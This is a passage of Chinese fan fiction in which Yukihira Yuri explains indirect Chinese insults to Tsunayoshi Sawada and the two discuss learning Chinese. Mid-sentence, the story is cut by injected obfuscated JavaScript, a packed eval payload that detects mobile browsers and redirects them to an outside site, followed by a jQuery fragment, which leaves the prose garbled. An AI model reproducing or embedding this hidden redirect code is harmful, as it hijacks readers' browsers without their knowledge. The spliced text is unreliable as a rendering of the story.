骂是什么感受。
但是……
但是!!!
“好好奇,怎么骂的?”泽田纲吉探出脑袋,棕色的大眼睛眨呀眨,好奇和期待充盈在其中。
幸平尤利将笔记本翻了一页,将一整篇已经翻译成日语的小文章展示给了泽田纲吉。
然后他就看到男孩的表情从茫然,到思索,再到困惑:“不,不是在夸人?他里面说儿孙满堂。”
“不孕不育但儿孙满堂,意思是孩子都不是你的。”
泽田纲吉全身一震,“那这个全家福……”
“一人照相就是全家福,意思是你家只有你一个人了。”
泽田纲吉捂住了胸口,但他还是勉强又挣扎着问:“打开《山海经》看看你是哪一页是……什么意思?”
“嗯,《山海经》是他们记载古时候的动物的书籍,但应该是神话传说,里面没有一页写人,全是动物,意思就是你不是人。”
泽田纲吉:“治好了也流口水是——?”
“无药可救的呆傻。”
“【我以为你是个有家教的人,你让我有点意外啊】和【你不妨去照照镜子,不过不自知的东西,照了镜子也没用】……啊,这个不用解释,我明白了。”
泽田纲吉在一层层的打击后灵魂都要飞出来了,他难以想象海对面的国家居然连骂人都要转上几个弯,这是在语言羞辱外还要进行智商和理解力的碾压啊!
可怕,太可怕了!
“就没有骂起人来简单直接一点的吗?”
幸平尤利似乎就在等他这一句,他字正腔圆地说:“‘TMD’——我同学是这么教我的。他说他国语的骂人话就会这一句,但全国语区的人都能听懂,说这是万能的。发音简洁又响亮,超好学也超级专业的。另外还有一句就是‘你作业做完了吗?’说是对学生党效果拔群。”
泽田纲吉默默把小册子还给了幸平尤利,抬头看着外面的蓝天,面上带着大彻大悟的平静神情:“原来,被骂废柴也不算什么啊……”
泽田纲吉,13岁,运动差、成绩差、上了国中才勉强学会自行车,各科平均分17.5,被称为达咩纲的男孩,悟了。
“对了,阿纲要和我一起学中文吗?”
“啊?不行的不行的,我肯定不行的。”泽田纲吉惊恐脸,连连摆手。
“没事的,我学的大部分是口头交流,而且中文比较简单一点是他们的汉字包容度很大,学会3
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464318|154229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
000个汉字读写就基本没有太大问题了,不像英语,英语的词典现在可是已经有60W个单词了,而且还在不断扩充中。”
泽田纲吉震惊了:“60万个单词!?”
实不相瞒,他已经开始瑟瑟发抖了,这样一对比,三千个汉字好像也没什么难度了。
“不过幸平同学为什么要学习汉语,你是打算以后去中-国留学吗?”